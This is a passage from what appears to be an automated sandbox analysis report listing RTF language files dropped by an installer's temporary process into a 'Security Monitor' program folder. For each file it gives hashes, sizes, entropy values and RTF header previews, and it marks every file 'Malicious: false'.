File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	6776
Entropy (8bit):	4.952214417097897
Encrypted:	false
SSDEEP:	192:su76z6C6D6E6f6E6O6Y6K222K2a2O2G2y2E2+2PuADGE7lqWiNBXa98XP00PDDP:X6z6C6D6E6f6E6O6Y6K222K2a2O2G2yp
MD5:	1BD6D948821BAAD56E7BD929CE99BC3E
SHA1:	87753F34928DF1FDCE8D2AE17A734E2D032B7392
SHA-256:	179807CC391D4A379560F1E9119C44DBD0F8BABD7C9581758DDFD2C24D15CCA5
SHA-512:	CD8934815BBF3C6AA344CEDCA40732E4428DECC0F122F124B3AECD1720BA89A7D5A9BA0EE8AE4675C57C56B3ABFC44BB2AF2A868111ED7D23D156BCEAF0D6ADF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	37355
Entropy (8bit):	5.0224273603988925
Encrypted:	false
SSDEEP:	768:2rF4DO6zLpzBMRQ1W7MiynhCGm7aVZ/6A9a:2raD7IA9a
MD5:	72215D6BB69B80AD421E5FBEC9CEE983
SHA1:	4DC407E1BF25A18F3C9B2F2E94440D3A0AC505D8
SHA-256:	0B1A02997F8DC944153BBEA47C302C3A155B1363A2A4F6A23218EB1BA9D1ACD8
SHA-512:	D1F1409D1E0946F84F3D3D3FBBB90BB23195A84402E0DA16A102C62E1198F28AB80046E805A3B4CAAD0B61039E07B57350133F1E0DCB3142A0B2487F1F1174B4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt Times New Roman};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}{\f315\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}@WenQuanYi Micro Hei;}..{\f316\fbidi \froman\fcharset128\fprq2{\*\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	76355
Entropy (8bit):	4.982630349215747
Encrypted:	false
SSDEEP:	768:KewXZEMuTyIT+TWkN+3vMHRYRv0lTiHRYRv0lTiHRYRv0lHiHRYRv0leUE/lLr/6:KeMEZgIA9C
MD5:	0DD30E30324435D32C3336875F79F308
SHA1:	6F38100EBA73AAD482B1B290FF5C21DD0C3AA692
SHA-256:	D9939A99B67D9267B439373CC44EE14A10432AF1BB3AEB6EBBDDE1839EDCBD99
SHA-512:	62513A5EDAF36F0D69A9519F74795659493A1B0C9B9E662D0AF4C15A7F68043F6C3A2F9231D9C949572D787524448C8F31B4A6AE9D242FB28758BA084C3B9545
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch11\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-1JL71.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10229
Entropy (8bit):	4.949701462728225
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9z:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6o
MD5:	328B6D1A72880E42399A6A9FAAE89707
SHA1:	B90F232CBADDD083D3E72EED57B362DBB5BB6B89
SHA-256:	731252A5DD9F5F1D6BAF95F06B86795064735EF2EDB2A7B0A0400535B28FB1C2
SHA-512:	70D96DB14DF3EA083AF7512998DBD565CD5DDEFDA0CB61A3378B9563642CB5FACD4D80A70763A454BE7B7BF4AA28A60C9B31AF7916066C9E56C5DB1A6F3D93D8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-ADDU5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47653
Entropy (8bit):	5.01810800814238
Encrypted:	false
SSDEEP:	768:2rFexbO6zLpzBDlmvTpIq7GHAR1BgpGk1WhWHi2mM47g0qO2ug04+2WNvg0tQ5qD:2rYbRs7d9ZvIA9t
MD5:	6E75BBD29A0618A73B2937F650F0F678
SHA1:	93EDB94323E37DDD1EC717F4A492442B6B611E3B
SHA-256:	718470BBCEF949095939C54CECB91D117D255A5279D55A204664CE52D1235180
SHA-512:	91C452D52360B231869031CB61255E83AF5D95D0F8C3A2AA0419AF659766E6E1CF4FD16FCE7C85A5EA5164E05C84282D0AA019FCAD85E292BE6D71400FA5D88E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}..{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}..{\f315\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-AIGDA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	6776
Entropy (8bit):	4.952214417097897
Encrypted:	false
SSDEEP:	192:su76z6C6D6E6f6E6O6Y6K222K2a2O2G2y2E2+2PuADGE7lqWiNBXa98XP00PDDP:X6z6C6D6E6f6E6O6Y6K222K2a2O2G2yp
MD5:	1BD6D948821BAAD56E7BD929CE99BC3E
SHA1:	87753F34928DF1FDCE8D2AE17A734E2D032B7392
SHA-256:	179807CC391D4A379560F1E9119C44DBD0F8BABD7C9581758DDFD2C24D15CCA5
SHA-512:	CD8934815BBF3C6AA344CEDCA40732E4428DECC0F122F124B3AECD1720BA89A7D5A9BA0EE8AE4675C57C56B3ABFC44BB2AF2A868111ED7D23D156BCEAF0D6ADF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-ER06U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10431
Entropy (8bit):	4.953862205312216
Encrypted:	false
SSDEEP:	192:su79jU9jV9jW9ju9j89jM9j39jO9jR6z6C6D6E6f6E6O6Y6Y222K2a2O2G2y2E2S:X9jU9jV9jW9ju9j89jM9j39jO9jR6z6o
MD5:	F253166C14180CDA4CF3682EBDA81E10
SHA1:	42CB7285AE2A1D8FFFBDB8E92DD762F116E6E5E7
SHA-256:	21604302E29A98F4F73EB4DD22C1B3FD52840C05B9438769E8568E69A2AD6890
SHA-512:	26EF9FFCDBE8D66B92954FA2DC046B7049B772B789BD4192D62CCDEA211D613413B241E1527396FCCF6087B041A526641C9D12F5C29810637C42AFF812A15061
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-GH4HM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7640
Entropy (8bit):	4.942902125699651
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y60yM4Nr2R7sB4OYWkXp+Mm:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6u
MD5:	58A7AD4E00C3C48CAC983EAB83D93722
SHA1:	16790F7FED7A5490C15C6A25CD9851B4953E4CF0
SHA-256:	AE872798A7D87EFC10BA3FC5FE65CB5539F84548163F6DB7278705CE4802A0D4
SHA-512:	D609EA322D6AEF1C3EF5E38C749B9C9D168F9865111ACB8F2408D752C20CCE5E5658CD08EB5D2FE79E4627FC0290B33B0D73858FCC821A9D9981009E27EA96C1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-HPQVI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7403
Entropy (8bit):	4.92938927718366
Encrypted:	false
SSDEEP:	192:su76z6C6D6E6f6E6O6Y6K222K2a2O2G2y2E2+2tuADuEXu6mp49T20l49D7D7DP:X6z6C6D6E6f6E6O6Y6K222K2a2O2G2yx
MD5:	3D3D6A046CC73D49EA8D98E66103EBC5
SHA1:	3F3F6AD63BEE3F893EE2F57AF6D261AFD0A8C639
SHA-256:	344EBAAFF1EC7B1BF2A627DD9A5F1B0D3C5D968F23ADA7D6A7175767B29AF483
SHA-512:	405236F4E6F223EFD593A22047B79156ED9695DDE0EB4BB4261891375C3FE586251AD3E9EE9EDF914AC02AB7C51887F16A5897915B0BEE8CC708CF6B116D9342
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-IA3F6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10281
Entropy (8bit):	4.953685836066729
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9S:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6Z
MD5:	8D669B205AF7D1401C340D474FADE116
SHA1:	C61F519EF768F519E93F456D61FCEFE93EF1A058
SHA-256:	2B01786D3BA405BAA36920EF092701AF28CEA08F56507D4DE9717D47474C3B65
SHA-512:	0697175789BE81C29F0FBB5DD815FB46B553A6D241D8936C0E29F95D23651A2B730A893B98C90F6F3494B93FF0144F05DE95DB24D089EC01084C0FC8E36B3F70
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-IBM2M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	64122
Entropy (8bit):	5.005532059876539
Encrypted:	false
SSDEEP:	768:2NFM7S0LzLpzBDlmvMuLoPxsMOaWAebaTkPYxmjyzZNBPirmqCadCg0WOxuiOQYX:2N4Sqse5bhHsTs64pPIA98
MD5:	20DED089CE49980F6BA7C2DDFBB4A359
SHA1:	A80EB4246514293DC65C07621B04DB34434DA4FB
SHA-256:	7644F6129405227CC015DC574D41769A25B147A33792008A3BC97D6CA2B31F84
SHA-512:	6863BF40030EE2FA1274103F637F1C8BD0601C5CF9C4EBE6684F13B7F1628B865D7297D464DD623CE50F7C0DFAB9B52CB42E8E6F6843D859469377DBFE68E5B5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}..{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}..{\f43\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000}@Wen

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-K4J90.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	17786
Entropy (8bit):	4.892369802650086
Encrypted:	false
SSDEEP:	384:TQ5h222K2a2O2G2y2E2+2L6z+CSD6E+fSE6O+YSY6z+CSD6E+fSE6O+YSS6z6C6w:TQ5h7HvTrbVLWsXixqh/1JsXixqh/1X+
MD5:	B7BE54FA07192D11B0624600C99D449E
SHA1:	372509E74C98F5BAE5A50088B4AA1B18711C834F
SHA-256:	0F599243F6282C72AAC90EEF278B4F7BD5B78161508E494ABAC24E719702DDDB
SHA-512:	20C131AE058B058F60D97E21D7E49BAB6FEC975229AFF7302F6559975CEA91F81130F8D1C15E7200A53A61AFB935FE7B3D608838AA0190A42D09D02C168CFE1C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq0\fcharset128 Calibri;}{\f6\froman\fprq2\fcharset128 Arial;}{\f7\froman\fprq0\fcharset128 Arial;}{\f8\froman\fprq2\fcharset128 Calibri;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Times New Roman;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red255\green0\blue0;\red0\green32\blue96;\red35\green0\blue220;\red0\green69\blue134;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang1040 Pr

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-M21VG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	11858
Entropy (8bit):	4.924418755277587
Encrypted:	false
SSDEEP:	192:F9jmDF3222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6goaB7lE9mNUrloY1gTEzGS:Hq53222K2a2O2G2y2E2+2L6z6C6D6E6u
MD5:	D6E34C937850FDC0AB38B06FE809B95C
SHA1:	A4480E9E250F5C3DC5BDD69696AB9F6EB12E8A56
SHA-256:	355420286A6BCDB2190129A5507012B55DC41FB0660ACE771D09F6E60FAFA173
SHA-512:	47F77867C8A5746DF79A29ABA70360BB2DF54F41C08B4B15E831421F76F24DC6B6AF0EE837084E5DDED8DAE3B549AD3236B5D668852BF357F990244FCE2E9D05
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq0\fcharset128 Times New Roman;}{\f11\fnil\fprq2\fcharset128 Arial;}{\f12\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red255\green0\blue0;\red54\green95\blue145;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s2\sbasedon15\snext16\ilvl1\outlinelevel1\ql\widctlpar\faauto\li0\ri0\lin0\rin0\fi0\sb100\sa100\keepn\b\hich\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-M4MPQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
